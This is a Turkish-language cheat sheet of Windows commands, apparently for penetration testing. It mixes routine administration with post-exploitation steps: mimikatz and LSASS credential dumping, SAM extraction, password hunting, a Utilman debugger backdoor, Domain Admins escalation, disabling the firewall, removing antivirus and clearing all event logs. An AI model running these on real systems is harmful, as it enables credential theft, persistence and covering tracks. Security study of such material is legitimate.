**Merhaba, ben Mert ALTUNTAŞ .**

**İlgili adres:**

**Başlamadan önce aşağıdaki komutları kendi sisteminize göre değiştireceğiniz lütfen unutmayın! ( isminiz, dosyanın bulunduğu konum dizini vb.)**

**Yerel bilgisayarda kullanıcı işlemleri**

* whoami
* echo %username%
* echo %computername%%username%
* whoami /priv
* whoami /all
* net user
* net user Mert
* net user Mert /Active:Yes
* net user Mert Aa123456
* net user Mert /del
* net user Mert Ad92137 /add

**Yerel bilgisayarda grup işlemleri**

* whoami /groups
* net localgroup
* net localgroup “Remote Desktop Users”
* net localgroup “Sistem Yoneticileri” /add
* net localgroup “Sistem Yoneticileri” /del
* net localgroup Administrators Burak /add
* net localgroup “Backup Operators” Burak /del

**Etki alanındaki kullanıcı işlemleri**

* net user /domain
* dsquery user
* net user mert.altuntas /domain
* net user mert.altuntas /Active:Yes /domain
* net user mert.altuntas Cc123456 /domain
* net user mert.altuntas /del /domain
* net user mert.altuntas Mm57162 /add /domain
* wmic useraccount where name=’mert’ list full /format:list
* dsget user “CN=mert, CN=Users,DC=ornek,DC=local” -memberof
* dsquery user -samid “ahmet” | dsget user -memberof -expand

**Etki alanındaki grup işlemleri**

* net group /domain
* dsquery group -limit 0 | dsget group -members –expand
* dsget group “CN=Domain Admins, CN=Users,DC=ornek,DC=local” -members
* wmic group get Description, Domain, Name, SIDType
* net group “Domain Computers” /domain
* net group “Yardim Masasi” /add /domain
* net group “Yardim Masasi” /del /domain
* net group “Domain Admins” mert.altuntas /add /domain
* net group “Domain Users” mert.altuntas /del /domain
* for /f “delims=” %X in (DomainAdminsGrubuUyeleri\_Listesi.txt) do net user %X /domain >> DomainAdminsGrubuUyelerininIlkeBilgileri.txt

**Küçük Bir Not:** Girdi dosyasında (DomainAdminsGrubuUyeleri\_Listesi.txt), kullanıcı isimleri alt alta yazılıdır.

Bilgisayar İşlemleri

**Mevcut sistem bilgileri**

* hostname
* systeminfo
* Get-ChildItem Env: | ft Key,Value
* ver
* echo %LOGONSERVER%
* systeminfo | findstr “Domain:”
* fsutil fsinfo drives
* net view
* net config WORKSTATION
* getmac
* wmic computersystem get AdminPasswordStatus, AutomaticResetBootOption, DomainRole, Domain, Model, PartOfDomain, Roles, SystemType, UserName
* dsquery computer

**Başlangıç dizinleri**

* Windows 6.0 ve 6.1
  + Tüm kullanıcılar için: %SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
  + Belirli kullanıcılar için: %SystemDrive%\Users\%UserName%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
* Windows NT 5.0, 5.1 ve 5.2
  + %SystemDrive%\Documents and Settings\ All Users\ Start Menu\Programs\Startup

**Hesap politikası işlemleri**

* net accounts
* net accounts /MAXPWAGE:3

**Denetim politikası işlemleri**

* auditpol /get /category:\*
* auditpol /set /subcategory:”IPsec Driver” /success:enable /failure:disable

**Paylaşım işlemleri**

* net share
* net share YeniPaylasim=C:UsersMert /GRANT:Everyone,Full

**Oturum bilgileri**

* quser
* query session
* qwinsta
* psloggedon -l Ertan
* Get-WmiObject -Class Win32\_NetworkLoginProfile | Sort-Object -Property LastLogon -Descending | Select-Object -Property \* -First 1 | Where-Object {$\_.LastLogon -match “(d{14})”} | Foreach-Object { New-Object PSObject -Property @{ Name=$\_.Name;LastLogon=[datetime]::ParseExact($matches[0], “yyyyMMddHHmmss”, $null)}}
* wmic netlogin get BadPasswordCount, FullName, LastLogon, Name, NumberOfLogons, PasswordAge, PasswordExpires, Privileges, UserType
* reg query “HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon” 2>nul | findstr Default
* Get-ItemProperty -Path ‘Registry::HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon’ | select “Default\*”
* cmdkey /list

**Proses işlemleri**

* qprocess
* query process
* tasklist /v
* tasklist /SVC | findstr /I “explorer.exe”
* tasklist /fi “pid eq 460”
* Get-Process | where {$\_.ProcessName -notlike “svchost\*”} | FT Path,Company,Description,ProcessName,SessionId,MainWindowTitle
* Get-WmiObject -Query “Select \* from Win32\_Process” | where {$\_.Name -notlike “svchost\*”} | Select Name, Handle, @{Label=”Owner”;Expression={$\_.GetOwner().User}} | ft -AutoSize
* wmic process get Description, ExecutablePath, ParentProcessId, ProcessID, CommandLine
* wmic process where (executablepath like “%system32%” and name!=”svchost.exe” or Priority = “8” ) get HandleCount, Name, ParentProcessId, Priority, ProcessId, ThreadCount /Every:3 > CalisanProseslerinDetaylari.txt
* taskkill /F /T /IM filezillaftp.exe
* taskkill /PID 1862 /F
* qprocess explorer.exe
* qprocess akif.cihangir
* wmic process call create calc
* wmic process where name=”calc.exe” call terminate

**Sürücü işlemleri**

* driverquery

**Kayıt değeri işlemleri**

* reg query HKLM\System\CurrentControlSet\Control\Lsa /v crashonauditfail
* reg query “HKCU\Software\SimonTatham\PuTTY\Sessions\PuttyUzerindeKayitliOturumAdi” /v Hostname
* reg add “HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG\_DWORD /d 1 /f
* reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v PortNumber /t REG\_DWORD /d 12345 /f
* reg save HKLM\SAM C:\SAMDosyasi
* reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Utilman.exe” /v Debugger /t REG\_SZ /d “C:\Windows\System32\cmd.exe” /f
* reg export “HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” Sonuc.reg
* reg import Sonuc.reg

**SAM ve SYSTEM dosyaları**

* %SYSTEMROOT%\repair\SAM
* %SYSTEMROOT%\System32\config\RegBack\SAM
* %SYSTEMROOT%\System32\config\SAM
* %SYSTEMROOT%\repair\system
* %SYSTEMROOT%\System32\config\SYSTEM
* %SYSTEMROOT%\System32\config\RegBack\system

**Ağ hareketleri**

* netstat -ano
* netstat -ano -p TCP | findstr 3389 | findstr /v 0.0.0.0:3389
* netstat -abf

**Yönlendirme işlemleri**

* netstat -r
* route print -4
* route add 10.23.50.10 MASK 255.255.255.0 10.23.50.1
* route del 10.23.50.10

**Kablosuz ağ işlemleri**

* netsh wlan show profiles
* netsh wlan show profile name=ModemSSID
* netsh wlan show profile name=ModemSSID key=clear | findstr “Key Content”
* Dosya dizini: C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\XXX

**Ağ işlemleri**

* ipconfig /all
* arp -a
* nslookup [www.hotmail.com](http://www.hotmail.com) 8.8.8.8
* tftp -I 10.23.50.10 GET Uygulama.exe
* netsh trace start capture=yes tracefile=C:\KayitSonucu.etl maxsize=100MB filemode=circular  –> Bitince: “netsh trace stop”
* etl2pcapng.exe C:\KayitSonucu.etl C:\KayitSonucu-WiresharkFormati.pcapng
* netsh interface ipv4 set address name=”Local Area Connection” source=static address=10.22.30.110 mask=255.255.255.0 gateway=10.22.30.1
* netsh interface ipv4 add dnsservers “Local Area Connection” 172.19.35.80
* netsh interface portproxy add v4tov4 listenport=3000 listenaddress=1.1.1.1 connectport=4000 connectaddress=2.2.2.2
* type %WINDIR%\System32\Drivers\etc\hosts
* type %WINDIR%\System32\Drivers\etc\networks
* wmic nic get AdapterType, Description, DeviceId, MACAddress, Name, ServiceName
* wmic nicconfig get DefaultIPGateway, Description, DHCPEnabled, DHCPLeaseExpires, DHCPLeaseObtained, DHCPServer, DNSDomain, DNSDomainSuffixSearchOrder, DNSEnabledForWINSResolution, DNSHostName, DNSServerSearchOrder, Index, InterfaceIndex, IPAddress, IPEnabled, IPSubnet, MacAddress, ServiceName, TcpipNetbiosOptions, WINSPrimaryServer

**DNS bilgileri**

* ipconfig /displaydns
* ipconfig /flushdns

**Disk bilgileri**

* wmic logicaldisk get Caption,FreeSpace,Size,VolumeName
* Get-PSDrive | Where {$\_.Provider -like “Microsoft.PowerShell.Core\FileSystem”} | FT Root,Description,Used,Free

**Dosya ve klasör işlemleri**

* wmic LOGICALDISK get Caption, DeviceID, FileSystem, Name
* dir /a C:\Users\Mert\Downloads\\*.pdf
* tree /f /a
* dir /s /b | findstr xlsx
* dir /b /ad “C:\Users\”
* Get-ChildItem C:\Users -Force | Select FullName, LastAccessTime
* findstr /si “parola sifre password root admin”
* icalcs C:\Users\Ahmet\Desktop\KritikKlasor  –> icalcs: Sysinternals aracı
* forfiles /P d: /D -30 /S /M \*.exe /C “cmd /c echo @path @ext @fname @fdate”
* Get-ChildItem -Path C:\Users, C:\Araclar -Include \*.txt, \*.log, \*.bat, \*.reg, \*.cs, \*.sql, \*.ps1, \*.config, \*.properties, \*.xml, \*.conf -Recurse -ErrorAction SilentlyContinue -Force | Select-String -Pattern Password, password, Şifre, şifre, Parola, parola, Sifre, sifre, root, admin -casesensitive > C:\KritikBilgiler.txt
* reg query HKCU /f password /t REG\_SZ /s
* reg query HKLM /f password /t REG\_SZ /s
* dir /s \*sysprep.inf \*sysprep.xml \*unattended.xml \*unattend.xml \*unattend.txt 2>nul
* dir \ /a/s/b > DosyaListesi.txt; type DosyaListesi.txt | findstr /i “unattended.xml unattend.txt sysprep.inf sysprep.xml”
* dir \ /a/s/b > DosyaListesi.txt; type DosyaListesi.txt | findstr /i \.\*passwd\*. | findstr /iv \.\*.chm$ | findstr /iv \.\*.log$ | findstr /iv \.\*.dll$ | findstr /iv \.\*.exe$
* dir \ /a/s/b > DosyaListesi.txt; type DosyaListesi.txt | findstr /i \.\*ntds[.].\*$
* dir \ /a/s/b > DosyaListesi.txt; type DosyaListesi.txt | findstr /i \.\*ssh.\*[.]ini$
* dir \ /a/s/b > DosyaListesi.txt; type DosyaListesi.txt | findstr /i \.\*ultravnc[.]ini$
* dir \ /a/s/b > DosyaListesi.txt; type DosyaListesi.txt | findstr /i \.\*vnc[.]ini$
* findstr /si “password= passwd= pass= pwd=” C:\\*.ini C:\\*.xml C:\\*.txt C:\\*.bat

**Gömülü parola tespiti**

* Get-ChildItem -Path C:\Users, C:\Araclar -Include \*.txt, \*.log, \*.bat, \*.reg, \*.cs, \*.sql, \*.ps1, \*.config, \*.properties, \*.xml, \*.conf -Recurse -ErrorAction SilentlyContinue -Force | Select-String -Pattern Password, password, Şifre, şifre, Parola, parola, Sifre, sifre, root, admin -casesensitive > C:\KritikBilgiler.txt
* reg query HKLM\SOFTWARE\RealVNC\vncserver /v Password
* reg query HKLM\SOFTWARE\TightVNC\vncserver /v Password
* reg query HKCU\SOFTWARE\TightVNC\vncserver /v Password
* reg query HKLM\SOFTWARE\TightVNC\vncserver /v PasswordViewOnly
* reg query HKLM\SOFTWARE\TightVNC\WinVNC4 /v Password
* reg query HKLM\SOFTWARE\ORL\WinVNC3\Default /v Password
* reg query HKLM\SOFTWARE\ORL\WinVNC3 /v Password
* reg query HKCU\SOFTWARE\ORL\WinVNC3 /v Password
* reg query HKLM /k /f password /t REG\_SZ /s
* reg query HKCU /k /f password /t REG\_SZ /s

**Servis yapılandırma dosyaları**

* dir /a C:\inetpub\
* dir /s web.config
* dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf
* dir /s \*pass\* == \*vnc\* == \*.config\* 2>nul
* findstr /si password \*.xml \*.ini \*.txt \*.config 2>nul

**Unattend(ed) dosyaları**

* C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf C:\Windows\sysprep.inf
* C:\Windows\Panther\Unattended.xml C:\Windows\Panther\Unattend.xml
* C:\Windows\Panther\Unattend\Unattend.xml
* C:\Windows\Panther\Unattend\Unattended.xml
* C:\Windows\System32\Sysprep\unattend.xml
* C:\Windows\System32\Sysprep\unattended.xml C:\unattend.txt C:\unattend.inf

**Dosya İzinleri**

* icacls “C:\Program Files\\*” 2>nul | findstr “(F)” | findstr “Everyone”
* icacls “C:\Program Files\\*” 2>nul | findstr “(M)” | findstr “BUILTIN\Users”
* Get-ChildItem ‘C:\Program Files\\*’,’C:\Program Files (x86)\\*’ | % { try { Get-Acl $\_ -EA SilentlyContinue | Where {($\_.Access|select -ExpandProperty IdentityReference) -match ‘Everyone’} } catch {}}
* accesschk.exe -qwsu “Everyone” \* /accepteula
* accesschk.exe -qwsu “Authenticated Users” \*
* accesschk.exe -uwcqv “Authenticated Users” \*
* accesschk.exe -qwsu “Users” \*

**Zamanlanmış görevler**

* schtasks /query /fo LIST /v | findstr “Folder: HostName: Author: Run: TaskName: Comment:”
* schtasks /Create /SC Daily /TN GunlukKullaniciListesi /TR “C:\Windows\System32\net.exe user”
* at /interactive 15:00 cmd.exe
* net time
* Get-ScheduledTask | where {$\_.TaskPath -notlike “\Microsoft\*”} | ft TaskName,TaskPath,State

**Servis işlemleri**

* net start
* sc query state= all
* Get-Service
* sc queryex (PID değeri de içerir)
* sc qc TermService
* accesschk -cqwvu TrustedInstaller –> accesschk: Sysinternals aracı
* wmic service get name, displayname, started, state, AcceptPause, AcceptStop | findstr /C:Term
* wmic service get name,displayname,pathname,startmode 2>nul |findstr /i “Auto” 2>nul |findstr /i /v “C:\Windows\\” 2>nul |findstr /i /v “”” > UnquotedServisler.txt
* Get-WmiObject -class Win32\_Service -Property Name, DisplayName, PathName, StartMode | Where {$\_.StartMode -eq “Auto” -and $\_.PathName -notlike “C:\Windows\*” -and $\_.PathName -notlike ‘”\*’} | select PathName,DisplayName,Name > UnquotedServisler.txt
* for /f “tokens=2” %%a in (‘sc queryex type^=service state^=all ^ | find ^/i “SERVICE\_NAME”‘) do (sc qc %%a)
* dir \ /a/s/b > DosyaListesi.txt; for /f “tokens=1 delims=,” %%a in (‘tasklist /SVC /FO CSV ^ | findstr /i \.\*exe\*. ^ | findstr /iv “smss.exe csrss.exe winlogon.exe services.exe spoolsv.exe explorer.exe ctfmon.exe wmiprvse.exe msmsgs.exe notepad.exe lsass.exe svchost.exe findstr.exe cmd.exe tasklist.exe”‘) do (findstr %%a$ | findstr /iv “\.\*winsxs\\\*.”) DosyaListesi.txt > CalistirilabilirServisDosyalari.txt; for /f “tokens=\*” %%a in (CalistirilabilirServisDosyalari.txt) | do (cacls %%a)
* net stop PolicyAgent
* net start termservice start= auto
* sc config PlugPlay start= disabled
* reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s > SNMPServisAyari
* sc create ServisAdi binpath=C:\Users\UygulamaDosyasi.exe start= auto

**Küçük BirNot:** Power, PlugPlay gibi kapatılamayan servisler devre dış bırakılıp, makine yeniden başlatılırsa bu servis çalışmaz.

**Güvenlik duvarı işlemleri**

* netsh firewall set service remotedesktop enable
* netsh firewall show opmode
* netsh firewall add portopening TCP 12345 “12345 Portunu Acan Kural” Enable All
* netsh firewall show portopening
* netsh advfirewall show allprofiles
* netsh advfirewall set allprofiles state off
* netsh advfirewall set currentprofile state off
* netsh firewall set logging droppedpackets = enable
* netsh firewall set logging connections = enable
* Logların düştüğü dizin: %systemroot%System32LogFilesFirewallpfirewall.log

**Programlar ve özellikler**

* dir /a “C:\Program Files”
* dir /a “C:\Program Files (x86)”
* reg query HKEY\_LOCAL\_MACHINE\SOFTWARE
* Get-ChildItem ‘C:\Program Files’, ‘C:\Program Files (x86)’ | ft Parent,Name,LastWriteTime
* Get-ChildItem -path Registry::HKEY\_LOCAL\_MACHINE\SOFTWARE | ft Name
* wmic product get name
* wmic product where name=”Kaspersky Internet Security” call uninstall /nointeractive
* Dism.exe /online /Get-Features /Format:Table
* Dism.exe /online /Enable-Feature /Featurename:TFTP
* pkgmgr /iu:”TelnetClient”

**Başlangıç programları**

* wmic startup get name, user, location
* reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
* reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
* reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
* reg query HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
* reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
* reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
* reg query HKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
* reg query HKCU\Software\Wow6432Npde\Microsoft\Windows\CurrentVersion\RunOnce
* dir “C:\Documents and Settings\All Users\Start Menu\Programs\Startup”
* dir “C:\Documents and Settings\%username%\Start Menu\Programs\Startup”
* Get-CimInstance Win32\_StartupCommand | select Name, command, Location, User | fl
* Get-ItemProperty -Path ‘Registry::HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run’
* Get-ChildItem “C:\Users\All Users\Start Menu\Programs\Startup”

**Güncelleme & Yama işlemleri**

* wusa /uninstall /kb:2744842 /quiet /norestart
* wmic qfe where HotFixID=”KB3011780″ get Caption, HotFixID
* wmic qfe list full /format:htable > Sonuc.html
* dism /online /get-packages
* Get-WmiObject -Class “win32\_quickfixengineering” | Select-Object -Property “Description”, “HotfixID”, @{Name=”InstalledOn”; Expression={([DateTime]($\_.InstalledOn)).ToLocalTime()}}

**Log işlemleri**

* wevtutil qe Application /c:10 /rd:true /f:text
* for /F “tokens=\*” %G in (‘wevtutil.exe el’) DO (wevtutil.exe cl “%G”)

**Başka bir kullanici gibi komut çalıştırma**

* runas /env /user:SIRKET\Levent.Altayli cmd
* psexec -s cmd.exe

**Oturumu kilitleme**

* rundll32.exe user32.dll, LockWorkStation

**Dosya kopyalama**

* copy D:\netcat.exe C:\Users

**Parolaları RAM üzerinden elde etme**

* mimikatz > privilege::debug > sekurlsa::logonPasswords
* mimikatz “sekurlsa::logonPasswords full” exit
* procdump -accepteula -ma lsass.exe lsass.dmp
  + mimikatz > sekurlsa::minidump lsass.dmp > sekurlsa::logonPasswords
* wce -w
* wce -s WORKGROUP:Administrator:<LM>:<NTLM>

**Grup ilkesi işlemleri**

* gpupdate /force
* gpresult /R
* gpresult /z
* gpresult /H Politika.html
* gpresult /USER mert.altuntas/SCOPE COMPUTER /Z

**Posta işlemleri**

* dsquery user -name “user name”|dsget user -samid -email -display
* Get-Mailbox | fl name, emailaddresses
* Get-QADUser -SizeLimit 0 -Enabled -Email \* | Select-Object DisplayName,Email

**Etki alanı güven ilişkileri**

* nltest /domain\_trusts –> Tüm güven ilişkilerini listeler
* nltest /trusted\_domains–> Tüm güven ilişkilerini listeler
* nltest /dcname:Sirket –> Belli bir etki alanındaki PDC rolündeki sunucuyu getirir.
* nltest /dclist:Sirket –> Belli bir etki alanındaki DC rolündeki sunucuları getirir.
* nltest /server:DC /trusted\_domains
* ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).Domains –> Forest (Orman) içerisindeki tüm etki alanları listelenir.
* ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships() –> Mevcut etki alanı için tüm güven ilişkileri (Parent-Child, 2 yönlü vs) listelenir.
* ([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext(‘Forest’, ‘Sirket.local’)))).GetAllTrustRelationships() –> Tüm güven ilişkilerini listeler.
* netdom query /domain Sirket.local TRUST –>  Tüm güven ilişkilerini listeler. TRUST yerine FSMO, DC, PDC, OU, WORKSTATION ile farklı veriler de listelenebilir.

**Oturum açan etki alanı hesabının bilgileri**

* Get-EventLog security 4624 -newest 10000 | Where-Object{$\_.Message -like ‘\*Galip.Tekinli\*’}| format-list Message > GalipTekinliHesabininActigiOturumBilgileri.txt

**Not:** Belirtilen komut etki alanı denetleyicisinde (DC) çalıştırılmalıdır.

**SPN İşlemleri ( bunu koyma)**

Bakınız: <http://bitvijays.github.io/LFF-IPS-P3-Exploitation.html#spn-scanning>

**Diğer komutlar**

* shutdown /r /t 0 /f
* reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
* reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
* reg query HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon /v DefaultUsername
* reg query HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon /v DefaultPassword
* csvde -f LDAPYapisi.csv
* ldifde -f LDAPYapisi.csv

Uzak Bilgisayar İşlemleri

**Uzak bilgisayar için sistem bilgileri**

* psinfo [\\172.16.4.230](file:///\\172.16.4.230) -h -s -d
* systeminfo /S 192.12.3.54 /U Ornek\Mert /P Aa123456

**Uzak bilgisayarın paylaşımına erişim**

* net use K: [\\172.24.63.135\C$](file:///\\172.24.63.135\C$) /USER:SIRKET\mert.altuntas Mm187356
* net use K: /delete

**Uzak bilgisayarın komut satırına erişim**

* psexec [\\172.16.4.230](file:///\\172.16.4.230) -u SIRKETmert.altuntas-p Hh123456 cmd.exe /accepteula
* psexec [\\172.16.4.230](file:///\\172.16.4.230) -u SIRKETmert.altuntas -p Hh123456 -c -f  [\\172.29.26.152\Paylasim\Uygulama.exe](file:///\\172.29.26.152\Paylasim\Uygulama.exe)

**Uzaktaki bilgisayarda çalışan prosesler**

* tasklist /V /S 172.16.72.129 /U SIRKETmert.altuntas /P 1907?Fenerbahce

**Uzak bilgisayardaki kayıt değerleri**

* reg query “[\\192.168.170.62\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon](file:///\\192.168.170.62\HKLM\SOFTWARE\Microsoft\Windows%20NT\CurrentVersion\Winlogon)” /v Userinit

**Uzak bilgisayarda açık olan oturumlar**

* query session /server:DCSunucusu
* reset session 3 /server:DCSunucusu

**Uzak bilgisayarda zamanlanmış görevler**

* net time [\\172.31.45.26](file:///\\172.31.45.26)
* at [\\172.31.45.26](file:///\\172.31.45.26) 10:32 Betik.bat

**Uzak bilgisayardaki dizinin kopyalanması**

* xcopy /s 10.46.83.183\PaylasimKlasoru C:\KopyalanacakDizin

**Diğer komutlar**

* shutdown /m [\\172.24.63.168](file:///\\172.24.63.168) /r /t 10 /f /c “Bilgisayar 10 saniye icinde kapatiliyor…”